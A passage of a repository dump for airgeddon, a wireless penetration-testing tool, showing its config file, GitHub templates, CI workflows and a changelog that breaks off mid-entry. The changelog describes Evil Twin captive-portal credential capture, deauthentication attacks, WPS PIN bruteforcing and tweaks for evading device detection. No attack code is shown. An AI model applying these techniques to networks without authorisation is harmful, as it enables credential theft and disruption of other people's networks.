Repository: v1s1t0r1sh3r3/airgeddon Branch: master Commit: d7e24237acd3 Files: 24 Total size: 2.3 MB Directory structure: gitextract_6cbgby3e/ ├── .airgeddonrc ├── .editorconfig ├── .gitattributes ├── .github/ │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── 1-bug_report.yml │ │ ├── 2-general_question.yml │ │ ├── 3-feature_request.yml │ │ ├── 4-compatibility_enhancement.yml │ │ └── config.yml │ ├── PULL_REQUEST_TEMPLATE.md │ └── workflows/ │ ├── dev.yml │ └── master.yml ├── .gitignore ├── CHANGELOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── LICENSE ├── README.md ├── airgeddon.sh ├── language_strings.sh ├── pindb_checksum.txt └── plugins/ ├── missing_dependencies.sh └── plugin_template.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: .airgeddonrc ================================================ #Enabled true / Disabled false - Auto update feature (it has no effect on development mode) - Default value true AIRGEDDON_AUTO_UPDATE=true #Enabled true / Disabled false - Skip intro (it has no effect on development mode) - Default value false AIRGEDDON_SKIP_INTRO=false #Enabled true / Disabled false - Allow colorized output - Default value true AIRGEDDON_BASIC_COLORS=true #Enabled true / Disabled false - Allow extended colorized output (ccze tool needed, it has no effect on disabled basic colors) - Default value true AIRGEDDON_EXTENDED_COLORS=true #Enabled true / Disabled false - Auto change language feature - Default value true AIRGEDDON_AUTO_CHANGE_LANGUAGE=true #Enabled true / Disabled false - Dependencies, root and bash version checks are done silently (it has no effect on development mode) - Default value false AIRGEDDON_SILENT_CHECKS=false #Enabled true / Disabled false - Print help hints on menus - Default value true AIRGEDDON_PRINT_HINTS=true #Enabled true / Disabled false - Enable 5Ghz support (it has no effect if your cards are not 5Ghz compatible cards) - Default value true AIRGEDDON_5GHZ_ENABLED=true #Enabled true / Disabled false - Force to use iptables instead of nftables (it has no effect if nftables are not present) - Default value false AIRGEDDON_FORCE_IPTABLES=false #Enabled true / Disabled false - Force to kill Network Manager before launching Evil Twin attacks - Default value true AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING=true #Available values: mdk3, mdk4 - Define which mdk version is going to be used - Default value mdk4 AIRGEDDON_MDK_VERSION=mdk4 #Enabled true / Disabled false - Enable plugins system - Default value true AIRGEDDON_PLUGINS_ENABLED=true #Enabled true / Disabled false - Enable ESSID stripping during Evil Twin attacks - Default value true AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING=true #Enabled true / Disabled false - Enable sounds for Evil Twin attacks - Default value true AIRGEDDON_EVIL_TWIN_SOUNDS=true #Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value false AIRGEDDON_DEVELOPMENT_MODE=false #Enabled true / Disabled false - Debug mode for development printing debug information - Default value false AIRGEDDON_DEBUG_MODE=false #Available values: xterm, tmux - Define the needed tool to be used for windows handling - Default value xterm AIRGEDDON_WINDOWS_HANDLING=xterm ================================================ FILE: .editorconfig ================================================ #EditorConfig: http://editorconfig.org root = true [*] charset = utf-8 end_of_line = lf insert_final_newline = true [*.{sh,db,txt}] trim_trailing_whitespace = true [*.{sh,db}] indent_style = tab indent_size = 4 [Dockerfile] indent_style = tab indent_size = 4 ================================================ FILE: .gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto eol=lf # Text files and source code *.txt text *.yml text *.sh text *.md text *.db text # Executable binaries/packages *.deb binary *.xz binary # Binary image formats *.png binary ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: v1s1t0r1sh3r3 buy_me_a_coffee: v1s1t0r custom: ['https://www.paypal.com/paypalme/airgeddon', 'https://airgeddon.creator-spring.com/'] ================================================ FILE: .github/ISSUE_TEMPLATE/1-bug_report.yml ================================================ name: Bug Report description: Create a report to help us improve title: "[Possible Bug]: " labels: ["needs triage", "bug"] projects: ["v1s1t0r1sh3r3/airgeddon"] body: - type: markdown attributes: value: | Please, consider asking your questions in the very active Discord community before opening an issue here. Issues must be opened in English. Submissions that are incomplete or incorrectly filled out will be automatically closed. For more info, check our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) - type: input id: version attributes: label: airgeddon version description: What is your airgeddon version? You can check it at the beginning of the script, in the title on the main menu, and in the "About & Credits / Sponsorship mentions" menu option placeholder: e.g., v11.50 validations: required: true - type: input id: os attributes: label: O.S. and version description: What is your Linux OS and what version? placeholder: e.g., Kali Linux 2025.1, Ubuntu 22.04 validations: required: true - type: dropdown id: virtualization attributes: label: Virtualization description: Is your O.S. running in native mode or is a virtualized system? options: - Native mode, no virtualization (Default) - VMware - VirtualBox - Hyper-V - Parallels Desktop - Other default: 0 validations: required: true - type: input id: chipset attributes: label: Adapter and chipset description: What is the chipset of your wireless adapter? check "lsusb" command's output or launch "airmon-ng --verbose" command to check it placeholder: e.g., Alfa AWUS036AXML, chipset Mediatek MT7921AUN validations: required: true - type: textarea id: description attributes: label: Issue description description: Describe the issue and the steps to reproduce it. Add screenshots if they help us understand your problem placeholder: Tell us what it's about! validations: required: true - type: checkboxes id: terms attributes: label: Acceptance of Issue Creation Policy description: By submitting this issue, you agree to follow our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) options: - label: I agree to follow this project's Issue Creation policy required: true ================================================ FILE: .github/ISSUE_TEMPLATE/2-general_question.yml ================================================ name: General Question description: Ask some general question title: "[General Question]: " labels: ["question"] projects: ["v1s1t0r1sh3r3/airgeddon"] body: - type: markdown attributes: value: | Please, consider asking your questions in the very active Discord community before opening an issue here. Issues must be opened in English. Submissions that are incomplete or incorrectly filled out will be automatically closed. For more info, check our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) - type: input id: technology attributes: label: Related technology description: Is your question related to any specific technology (e.g., chipset, driver, OS)? If not, type N/A placeholder: e.g., Docker, Mediatek chipsets, VMware virtualization validations: required: true - type: textarea id: question attributes: label: Issue description description: Please describe your question in as much detail as possible so we can better assist you placeholder: Write your question here... validations: required: true - type: checkboxes id: terms attributes: label: Acceptance of Issue Creation Policy description: By submitting this issue, you agree to follow our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) options: - label: I agree to follow this project's Issue Creation policy required: true ================================================ FILE: .github/ISSUE_TEMPLATE/3-feature_request.yml ================================================ name: Feature Request description: Suggest a new idea to improve this project title: "[Feature Request]: " labels: ["needs triage", "feature request"] projects: ["v1s1t0r1sh3r3/airgeddon"] body: - type: markdown attributes: value: | Please, consider asking your questions in the very active Discord community before opening an issue here. Issues must be opened in English. Submissions that are incomplete or incorrectly filled out will be automatically closed. For more info, check our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) - type: textarea id: feature attributes: label: Feature description description: Please describe your feature request in as much detail as possible so we can properly evaluate it placeholder: Write your idea here... validations: required: true - type: input id: benefits attributes: label: Benefits description: What would be the benefits of implementing this feature? placeholder: e.g., Improves performance, enhances usability validations: required: true - type: checkboxes id: terms attributes: label: Acceptance of Issue Creation Policy description: By submitting this issue, you agree to follow our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) options: - label: I agree to follow this project's Issue Creation policy required: true ================================================ FILE: .github/ISSUE_TEMPLATE/4-compatibility_enhancement.yml ================================================ name: Compatibility Enhancement description: Request to expand compatibility support title: "[Compatibility Enhancement]: " labels: ["needs triage", "compatibility enhancement"] projects: ["v1s1t0r1sh3r3/airgeddon"] body: - type: markdown attributes: value: | Please, consider asking your questions in the very active Discord community before opening an issue here. Issues must be opened in English. Submissions that are incomplete or incorrectly filled out will be automatically closed. For more info, check our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) - type: textarea id: compatibility attributes: label: Compatibility Request Description description: Describe the compatibility issue or request in as much detail as possible, including hardware, drivers, OS, or environment placeholder: Describe what you'd like to see supported... validations: required: true - type: input id: affectedtech attributes: label: Technology or environment description: Specify the hardware, chipset, driver, OS, or any other component involved placeholder: e.g., PCLinuxOS, BlendOS validations: required: true - type: checkboxes id: terms attributes: label: Acceptance of Issue Creation Policy description: By submitting this issue, you agree to follow our [Issue Creation Policy](https://github.com/v1s1t0r1sh3r3/airgeddon/blob/master/CONTRIBUTING.md#issue-creation-policy) options: - label: I agree to follow this project's Issue Creation policy required: true ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ blank_issues_enabled: false contact_links: - name: Get airgeddon's Discord Community Support url: https://discord.gg/sQ9dgt9 about: Consider asking your questions in the very active Discord community before opening an issue here. - name: Check the FAQ & Troubleshooting Wiki url: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/FAQ%20&%20Troubleshooting about: Your question might already be answered in our FAQ & Troubleshooting section. Please check it before opening a new issue. ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ #### Describe the purpose of the pull request ================================================ FILE: .github/workflows/dev.yml ================================================ #Workflow for docker autobuild in dev branch name: 'Docker CI dev' on: push: branches: dev paths: - '**.md' - '**.sh' - '**.txt' - '**.db' - '.airgeddonrc' - 'Dockerfile' workflow_dispatch: jobs: docker: runs-on: ubuntu-latest steps: - name: Docker Hub login uses: docker/login-action@v1 with: username: v1s1t0r1sh3r3 password: ${{ secrets.DOCKERHUB_TOKEN }} logout: true - name: Check out code uses: actions/checkout@v2 - name: Build and push uses: docker/build-push-action@v2 with: tags: v1s1t0r1sh3r3/airgeddon:beta context: . no-cache: true push: true ================================================ FILE: .github/workflows/master.yml ================================================ #Workflow for docker autobuild in master branch name: 'Docker CI master' on: push: branches: master paths: - '**.md' - '**.sh' - '**.txt' - '**.db' - '.airgeddonrc' - 'Dockerfile' workflow_dispatch: jobs: docker: runs-on: ubuntu-latest steps: - name: Docker Hub login uses: docker/login-action@v1 with: username: v1s1t0r1sh3r3 password: ${{ secrets.DOCKERHUB_TOKEN }} logout: true - name: Check out code uses: actions/checkout@v2 - name: Build and push uses: docker/build-push-action@v2 with: tags: v1s1t0r1sh3r3/airgeddon:latest context: . no-cache: true push: true ================================================ FILE: .gitignore ================================================ .DS_Store* ._* .Spotlight-V100 .Trashes ehthumbs.db Thumbs.db desktop.ini .dropbox* .idea ================================================ FILE: CHANGELOG.md ================================================ ### 11.61 - Added check to detect if operating in a Virtual Machine - Added beep sounds to Evil Twin attacks to alert about different events - Created an option to avoid playing sounds during Evil Twin attacks - Fixed colors of some vendors for the advanced captive portal - Improvements in WPA3 menu to allow more WPA3 plugins - Fixed minor bug detecting hashcat hash format - Fixed bug. Prevent DoS Pursuit mode from switching 2.4‑only deauth interfaces to 5 GHz channels - Improved internet interface validation for VPN compatibility - Fixed a rare bug that caused a hang after closing scan windows ### 11.60 - Added validation to reject multicast BSSID values when manually entered as targets - Improved Enterprise fake AP compatibility - Improved cleanup routine to remove temporary files on unexpected script termination - Modified the lighttpd web server configuration during the Evil Twin captive portal attack to facilitate integration with certain plugins - Added downgrade attack against WPA2/WPA3 Transitional (Mixed Mode) networks in the WPA3 menu - Added support for Handshake and PMKID hashcat hash files in the personal offline decryption menu - Validations added and improved code for all offline decryption attacks ### 11.52 - Add WPA3 attacks menu as hookable function to facilitate WPA3 existing plugins integration - Improved adapter 802.11be standard support detection - Improved Evil Twin fake APs to add 802.11be if supported by the adapter - Created an option to avoid using ESSID stripping during Evil Twin attacks - Enhancements to enterprise certificate analysis and identities capture functionalities - Small improvements in WEP All-in-One attack ### 11.51 - ESSID stripping using invisible char to bypass Apple SSID grouping in Evil Twin attacks - Improved captive portal's HTML and JS to make it work even in Apple CNA (Captive Network Assistant) - Modified plugin system to allow multiple hooks from different plugins on functions marked as "hookable" - Replaced legacy Github Markdown issue creation templates with structured YAML-based forms - Compatibility extended to Puppy and CachyOS Linux - Improved internal interface-to-MAC mapping logic for better reliability - Refactor tool compatibility check to display in columns that adapt dynamically to terminal width for improved readability ### 11.50 - Enterprise certificate analysis feature - Fixed WEP besside-ng attack when hex key contains non-numeric chars - Added DoS to enterprise identities capture process to improve reliability - Added functions to simplify hooking menus and hints from plugins - Added new variables to check support of 802.11n/802.11ac/802.11ax/802.11be standards - Improved Evil Twin fake APs to add 802.11n/802.11ac/802.11ax if supported by the adapter - Added support for detecting enterprise networks that report CMAC as their authentication method - Fixed an issue in some DoS attacks with ESSIDs containing spaces - Improved BSSID digit randomization to prevent fake AP from using the same MAC address as the original one - Enhanced captive portal behaviour to avoid detection as suspicious network on Samsung devices ### 11.41 - Added a function to simplify hooking language strings from plugins - Enterprise identities capture feature - Fixed broken dependency menu validation - Added a flag to distinguish and validate personal and enterprise networks - Implemented validations to ensure enterprise attacks are not executed on personal networks and vice versa - Removed prefix and suffix hint symbols. Now scrambled arabic hint strings are fixed ### 11.40 - Code refactor of the heredocs used for the Evil Twin, WEP and WPS attacks - Standardize xterm parameters and adjust some colors to override the system's default settings - Fixed bug parsing version number for newer hcxdumptool versions - Added WEP besside-ng attack - Added network decloaking feature using two methods - Changed third available DoS attack (out of DoS attacks menu) - Fix auto-update check from Docker ### 11.31 - Fixed graphics system detection when launched on a headless system using remote X windows - Fixed minor bug on paths when selecting a directory instead of a file while saving a trophy file - Improvements on OS/distro detection - Added feature to know during an Evil Twin captive portal attack, if the client accessed the portal - Added feature to know during an Evil Twin attack, if the client is still present on the network - Minor visual improvements on Evil Twin's captive portal - Improvement on command line while capturing PMKID. Now, faster performance and less default timeout (Thank you to "alexl83") - Fixed bug on view after a failed asleap attack from offline decryption menu - Fixed issue on default choice when y/n question is asked while capturing a trap - Fixed issue to prevent the trap function from being executed multiple times on consecutive Ctrl+C inputs ### 11.30 - Added Multi-instance support to launch more than one airgeddon at a time - Improvements on 5Ghz country code check and 5Ghz band capability detection on adapters - Fixed bug to avoid set advanced captive portal on second time if is not desired after setting it previously - Now channel is automatically updated on control window during "DoS pursuit mode" for all Evil Twin attacks - Fixed error shown while checking if a handshake is wpa2 when wpa3 handshake is captured ### 11.22 - Possibility to add manually ESSID name for selected hidden networks - Improvement on process killing on Evil Twin attacks - Add WPS version to network selection menu for WPS networks - Reordered networks on network selection menus (standard and WPS), now networks with the strongest received signal will be placed last to avoid scrolling - Fixed small bug on Evil Twin captive portal attack for passwords containing more than one space char - Fixed Docker routing problem ### 11.21 - Chinese language translation added (Thank you to "zcbxx") - Fixed bug parsing cracked PIN on WPS reaver Pixie Dust attack for newer reaver versions - Fixed error on PMKID capturing due hcxdumptool different params for newer versions using bpf filters - Fixed error on interfaces and process killing on "DoS pursuit mode" ### 11.20 - Improvements and fixes on "DoS pursuit mode" - Fixed bug on Evil Twin captive portal attack when relative paths used - Added Consistent Network Device Naming detection check upon interface selection - Fixed bug on filtered WPA scans when pure WPA3 (SAE) present - Fixed WPS attacks error message appearing on some Linux distributions - Fixed bug in graphics system detection for non-systemd systems - Added optional advanced captive portal including vendor logos ### 11.11 - Custom enterprise certificates creation fix (now sha256) for modern hostapd-wpe versions - Fixed Docker distro shown (now Kali based) - Fixed PMKID hashcat hash parsing - Improvements on graphics system and resolution detection - Fixed 5Ghz Evil Twin attacks DoS problems - Added 5Ghz country code check - Improvements on OS/distro detection ### 11.10 - Fixed problem for latest BeEF - Fixed broken dependency menu validation - Added sponsorship mentions - WPS attacks modified to avoid saved sessions messages - Adapted conversion for hashcat modern versions ### 11.02 - Fixed minor bug in minimum length setting while bruteforcing using hashcat - Improvement hashcat use forcing it to use -m 22000 instead of old -m 2500 over handshakes cracking for hashcat modern versions - Added WSL/WSL2 detection to force exit due to incompatibility - Extended compatibility to use lspci 3.8 not accepting 0x - Fixed error showing connected clients in Evil Twin captive portal attack ### 11.01 - Fixed busy ports checks - Added PIN to WPS trophy file - Fixed Evil Twin route problems for modern mobile devices (Android, Kali Nethunter, etc.) - Improvement in missing dependencies plugin to be able to check output when errors occur - Adapted WPA/WPA2 attacks (handshake capture, PMKID and Evil Twin captive portal) to work with WPA2/WPA3 mixed networks - Fix error launching sslstrip2 using old Bettercap 1.x ### 11.0 - Improvements in plugins system - GPU support for hashcat - Keep compatibility for hashcat -m 2500 on new hashcat versions - Improvement for busy ports checks on Evil Twin attacks, now show conflicting process - Fixed error on captive portal trophy file path when only dir (no file) specified - Added CI files to be used in Github actions for Docker automated building ### 10.42 - Changed airmon compatibility check to fit same method used by airmon - VIF support check added before launching Evil Twin attacks - airgeddon version shown in title at main menu - Fixed arabic scrambled strings and added missing arabic strings to missing dependencies plugin - Fixed debug mode malfunction - Added busy ports checks on Evil Twin attacks - Dockerfile rollback to Arch (ArchStrike image as base) due to Parrot repos problems ### 10.41 - Fixed error on PMKID hash validation - Created an option to avoid Network Manager force killing on Evil Twin attacks - Code improvements to allow new kind of arguments based plugins - Dsniff Evil Twin captive portal DNS black hole replaced by dnsmasq - Dockerfile rollback to Parrot (Parrot Security image as base) to avoid Arch Glibc + Dockerhub automated builds problem ### 10.40 - Removed deprecated route command - Fixed error on WPS PINs found in database counter - Sslstrip Evil Twin attack replaced by Bettercap-Sslstrip2 Evil Twin attack, sslstrip dependency removed - Fixed error on Evil Twin attacks when tmux and Bettercap 2.x used - Fixed wrong username shown on asleap decryption after capture for Enterprise Evil Twin attack - Fixed freezing while trying to resume reaver session ### 10.31 - Fixed error of no returning to DoS menu after fail on handshake capture for Evil Twin Captive portal attack - Fixed error of no returning to Evil Twin main menu for some special situations on BeEF attack - Removed deprecated hcxpcaptool, replaced by hcxpcapngtool - Replaced old PMKID hash format to be used in hashcat, from 16800 to 22000 - Improved responsive behaviour of Evil Twin Captive Portal web page - Compatibility extended to Bettercap 2.x (>=2.28) for sslstrip2/BeEF Evil Twin attack ### 10.30 - Fixed error on internet interface selection menu when no number provided - Fixed BeEF error due forced config file changes for some versions - Fixed weird error for endless loop while capturing handshake on some devices - Fixed terminal freeze problem when Ctrl+C pressed on path prompt - Fixed Network Manager problem on fake AP used for Evil Twin attacks - Arabic language translation added (Thank you to "darthvader-htb") ### 10.21 - Improved hostapd-wpe config for some conflicting Linux - Dockerfile migrated to Arch (ArchStrike image as base) to avoid Debian based missing packages problem - After PMKID capturing, now additionally can transform captured file into .cap aircrack-ng file format ### 10.20 - Big language strings array now loaded only once and printing system changed. Speed highly improved - Fixed problem for handshake detection on captured files containing only handshake (without pmkid) - Missing dependencies plugin adapted to install some special (missing on repos due retirement) packages - Dockerfile adapted to work flawlessly with the deprecated retired packages ### 10.11 - Fixed error on PMKID capturing due hcxdumptool different params for different versions - Added feature to detect captured PMKID while capturing Handshake - Integration of PMKID on Evil Twin Captive Portal ### 10.10 - PMKID capture feature - PMKID offline decryption feature - Tested compatibility with Manjaro Linux - Fixed error on auto_update plugin on some Linux distros ### 10.01 - Removed deprecated ifconfig and iwconfig commands and dependencies - Fixed error on enterprise certificates validation - Added autoselection for secondary interface if only one existing - Airmon compatibility check system refactored - Fixed error in default paths trophy files for Ettercap/Bettercap ### 10.0 - Added plugins system - Added example plugin: Missing dependencies auto-installation for some distros (Kali, Parrot, BlackArch) - Improvements for Evil Twin on captive portal detection for newer devices - Missing 5Ghz channels added - Github pull request template added and issue templates updated - Fixed error on hex2ascii conversion for some WEP passwords ### 9.23 - Fixed error printing hints - Fixed problem with default values on options file creation ### 9.22 - Improved certificates validations and error messages - Removed useless internet access DNS resolution method for captive portal Evil Twin, now pure dnsspoof - Fixed exit on tmux launch if tmux not installed - Added more charset combinations for hashcat bruteforce attacks - Fixed length problem on hashcat bruteforce decryption attacks - Fixed handshake capture menu error - Compatibility extended to Pentoo Linux - Removed unneeded expect (unbuffer) dependency - Added tab autocompletion for every path input ### 9.21 - Fixed non-closing windows on some "DoS pursuit mode" attacks - Added retrocompatibility for mdk3, added option in .airgeddonrc file to handle it - Fixed bug on WEP all-in-one attack (Fake Auth) for SSIDs containing spaces - Fixed repeated enterprise plain passwords captured on trophy files - Added custom certificates creation for enterprise attacks - Fixed error on BeEF attack using tmux ### 9.20 - Added option to use tmux instead of xterm (Thank you to "xpz3") - Added WPS null PIN attack (reaver) ### 9.11 - Fixed error shown on enterprise attacks for some wifi cards - Fixed BeEF error due forced config file changes on BeEF 0.4.7.1 and 0.4.7.2 versions - Added ipv6 support for BeEF - Options .airgeddonrc file now also updated on automatic update keeping user's preferences ### 9.10 - mdk3 replaced by mdk4 - Fixed some minor bugs on enterprise plain text captured password process - Fixed minor bug forcing interface mode change after smooth enterprise attack - Tested compatibility with Wifislax 64-2.x and Kali 2019.x - Fixed dependency problem to avoid use of xxd - Routing rules adapted to work with nftables ### 9.01 - Improvements on options environment var system - Minor fixes for ARM devices - Fixed iptables (nf_tables) problem ### 9.0 - New WPA/WPA2 enterprise attacks menu - New WPA/WPA2 enterprise offline decryption menu - Compatibility extended to Linux Mint 18.x - Flag system for options based on fallback substitution variables (config file, command line and menus) - Fixed error on hashcat bruteforce decryption attacks regarding length ### 8.12 - Fixed error on WPS attacks for strange chars in some SSIDs - Tested compatibility with Kali 2018.3/4, Fedora 28, Backbox 5.x and BlackArch 2018.06.01 - Added prompt symbol for every user interaction - Improved regex for BSSID check - Changes on contributing policies - Github pull request template added and issue templates updated - Added Wayland graphic system support (Thank you to "fr0xk") - Fixed print error on flying saucer intro for some terminals ### 8.11 - Turkish language translation added (Thank you to "UN5T48L3") - Extended cards compatibility. Now airmon non compatible cards can be used - Fixed error on captive portal for some SSID strange chars - Fixed error showing SSIDs containing spaces on WPS network selection menu - Fixed error on chipset detection for some cards ### 8.10 - WPS decrypted networks now have trophy file - Tested compatibility with Kali 2018.2, Ubuntu 18.04 and Parrot 4.x - Controlled error for unsupported Bettercap 2.x version - Automatic check added on Handshake capture (Thank you to "IwraStudios") - Fixed card detection bug on some Linux ### 8.01 - German language translation added (Thank you to "hamperfait") - Filters enabled on scannings based on menu or kind of attack - WPS PIN database now is updated on startup updates too - Return option now always at position 0 on all menus - Removed --weak--hash-threshold option for hashcat 4.0.0 or higher - Tested compatibility with Parrot 3.11 - Fixed aspect of network selection menu when network power is equal to -1 ### 8.0 - Added 5Ghz full support (scans, attacks, card detection, etc.) - Tested compatibility with Kali 2018.1, BlackArch 2017.12.11, Fedora 27, Gentoo 20180206, OpenSUSE 42.3 and Parrot 3.10 - Fixed error setting ESSID on some wash versions while scanning - Fixed error on secondary interface selection menu for "DoS pursuit mode" ### 7.23 - Fixed error in Docker container on some host O.S. - Fixed error message on offline Arcadyan PIN algorithm calculation - Polish language translation added (Thank you to "dodg3rmaq") - Added "DoS pursuit mode" on DoS attacks (including DoS used on Evil Twin attacks) to avoid AP channel hopping - Tested compatibility with Parrot 3.9, BlackArch 2017.08.30 and Kali 2017.3 ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 - Arcadyan WPS PIN generation algorithm integrated - Tested compatibility with Kali 2017.2 and Parrot 3.8 - WPS Bully bruteforce attack modified to use --sequential (-S) argument - Added WPS offline PIN generation and database menu option ### 7.21 - Italian language translation added (Thank you to "salu90") - Tested compatibility with Parrot 3.7, Fedora 26 and Wifislax 64-1.1 - Improved check for root permissions, now mandatory - Fixed bug for some menu inputs using special chars. Now sanitized - Code improvements, removed new shellcheck warnings - Fixed bug launching BeEF Evil Twin attack twice ### 7.20 - Improved chipset detection - New language and options menu - Colorization, auto-update and startup language autodetection now can be enabled/disabled persistently from menu - Language can be set permanently from menu even for next startup after an update - New check using xset internal tool to check for a working X window system in order to avoid uncontrolled xterm errors ### 7.11 - Added hccapx support for hashcat 3.40 or higher - Decrypted hashcat trophy files beautified - Added confirm questions before attacks if no target selected - WPA/WPA2 decrypted files using aircrack now have trophy file - Some outputs colorized using ccze ### 7.10 - Added default choice for some yes/no question. Regexp improved - Tested compatibility with Backbox 4.7 and Parrot 3.6 - Improved curl and wget methods. Now autodetect if http proxy is set and needed - WPS Reaver attacks modified. Removed --auto (-a) argument causing problems on some Reaver versions - Dockerfile updated ### 7.02 - Improved internet checking. Now ip address and host based methods - Internet checking function splitted. Now separated from repository access - Fixed error shown when handling interfaces without MAC address - Tested compatibility with Ubuntu 17.04 ### 7.01 - Fixed bug while changing interface mode if the destination interface name is in use - Removed util-linux dependency for rev use - The existing iptables rules before the launch of airgeddon are now restored upon exiting if modified - Fixed bug while checking for NetworkManager's version on some Linux distributions - Tested compatibility with Kali Linux 2017.1 and Parrot 3.5 - Dockerfile updated ### 7.0 - New WEP attacks menu - Added All-in-One WEP attack - Fixed bug on Handshake capture validations ### 6.21 - Improved chipset detection, lsusb added to internal tools - Improved internet checking. Now more methods, not only icmp - Fixed error executing airgeddon after auto-update on some Linux distributions - Added LICENSE.md and README.md files to Kali package ### 6.20 - Docker support added - Default save path system detecting if executed in Docker container ### 6.12 - Fixed bug on network detection - Fixed bug causing strange behaviour on some Linux handling optional_tools array ### 6.11 - Optional MAC spoofing added for all Evil Twin attacks - Spoofed MAC addresses restored on exit ### 6.10 - Network selection menus now colorized - Language strings now in a separated file for easy handling and translating - Validation and self-downloading system for new language strings file ### 6.01 - Shebang changed to a more portable one `#!/usr/bin/env bash` - New extra-verbose debug mode added - README.md major modifications - Added CONTRIBUTING.md - Unexpected errors on wash scanning are controlled now - Improved distro detection for some arm Linux ### 6.0 - New system for possible tool aliases checking the requirements - Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework - Option to manage custom BeEF location if manually installed and not found. Script polymorphism rewriting itself to make it persistent even after updates - README.md beautified - Colors changed. Now blocking errors in red - License and changelog files updated to markdown format - Updated minimum bash version check (v4.2) - Tested compatibility with OpenSUSE 42.2 and Parrot 3.4.1 - Fixed error trying to download PIN db file on WPS attacks when curl isn't installed ### 5.14 - Timeout changed while searching for "bad FCS" to avoid problems in old systems - WPS Reaver attacks modified to use --no-nacks (-N) argument - Github issue template updated - Check added to skip intro if not enough window size - Tested compatibility with BlackArch 2016.12.29 ### 5.13 - WPS default timeouts changed - WPS parameterizable timeouts, users can decide how many seconds for each WPS attack - More traps handled. Auto restore managed mode on interface after SIGINT/SIGHUP ### 5.12 - Fixed bug for wash scanning on reaver 1.5.3. Now new method works for all versions because the version doesn't care anymore ### 5.11 - Custom PIN, bruteforce and Pixie Dust WPS attacks integrated in new parser system - Fixed bug for wash scanning on custom reaver 1.5.4 for Wifislax - Some code improvements ### 5.10 - Integrated online PIN database for "known WPS PINs attack" (reaver and bully) - Zhao Chunsheng WPS PIN generation algorithm integrated (ComputePIN) - Stefan Viehböck WPS PIN generation algorithm integrated (EasyBox) - Some language strings changed - Fixed bug showing selected charset for hashcat v3.0 on bruteforce offline decrypt attack ### 5.01 - WPS bruteforce PIN attacks (reaver and bully) - New system for arm architecture detection - Compatibility extended to Parrot arm version on Raspberry Pi - Some WPS attacks improvements - Compatibility extended for hashcat v3.0 or higher ### 5.0 - WPS attacks menu added - WPS scanning based on wash tool. Self-parametrization to avoid "Bad FCS" problem - WPS Custom PIN association - WPS Pixie Dust attacks integrated with reaver and bully - Some code improvements ### 4.32 - Some code improvements and refactors. Warnings removed based on shellcheck tool - README.md small modifications - Fix on language menu selecting greek language - Fixed problem on renew_ifaces_and_macs_list function when there are interfaces without MAC (like some tunnel interfaces) ### 4.31 - Now optionally on Evil Twin captive portal attack you can choose between to have internet access or to use a "dns trick" - Fixed bug writing Handshake files on some paths - Added possibility to get back to Evil Twin main menu from the internet interface selection menu ### 4.30 - Evil Twin attack added: captive portal - Some language strings changed - Now initial forwarding state is restored on exit - Fix for Linux which change interface name to a very different name while getting back to managed from monitor mode ### 4.22 - Portuguese translation updated (Thank you to "Luan") - Paypal donate button added on README.md - Bitcoin hash changed and bitcoin donate button added on README.md - Tested compatibility with Kali Linux 2016.2 ### 4.21 - Greek language translation added (Thank you to "xtonousou") ### 4.20 - Evil Twin attack added: with integrated sniffing using sslstrip - Evil Twin control window beautified and optimized for small windows ### 4.11 - Russian language translation added (Thank you to "MiAl") ### 4.10 - Evil Twin attack added: with integrated sniffing - Log parsing for Evil Twin attack with sniffing ### 4.03 - Some compatibility improvements for Raspberry Pi Raspbian Linux - Additional check for systems which use airmon-zc, now checks for lspci to avoid errors - Compatibility extended to OpenMandriva Linux - Compatibility extended to Kali arm version on Raspberry Pi ### 4.02 - New windows sizes calculation method for better viewing even in small resolutions. Dynamic system - Fixed bug restarting Network Manager on Arch Linux - Fixed bug restarting Network Manager using debug mode on some Linux distributions - Suggestion added about possible packet names after failing a dependency check ### 4.01 - Fixed bug cleaning temp files for Evil Twin attack ### 4.0 - Evil Twin attack added: Only AP to sniff with external sniffer - Created under construction message for non finished menu options - README.md beautified - Screen resolution correction feature added for some Linux distributions - Some minor improvements and bugfixes ### 3.44 - Screen resolution detection for optimal windows viewing - Some language strings changed - Deleted ods translations file. It was impractical ### 3.43 - Function created to generate dynamic separators on menus - Some language strings changed ### 3.42 - Compatibility extended to Arch Linux - Compatibility extended to Raspbian Linux for Raspberry Pi - Additional check for systems which use airmon-zc, now checks for ethtool to avoid errors - Portuguese language translation added - Auto-update can be disabled using a var (useful for repositories versions) - Auto change language feature can be disabled using a var ### 3.41 - Show network cards chipset while selecting interface - Some language strings changed - License updated to GPL3+ - Added Open Document SpreadSheet for easy translation to be used by collaborating translators - System of prefixes and colors for hints and strings pending of translation [PoT] ### 3.40 - Improved regexp to get new interface names after a change - Fixed bug managing paths containing blank spaces - New feature, drag and drop files on console window to entering file paths - New offline decrypting attacks based on cpu hashcat (dictionary, bruteforce and rule based) - Debug mode for faster development skipping intro and initial checks - Bash version check improved for future versions - Exit script code changes to differentiate when script was interrupted ### 3.34 - Ascii art intro added on script startup (animated 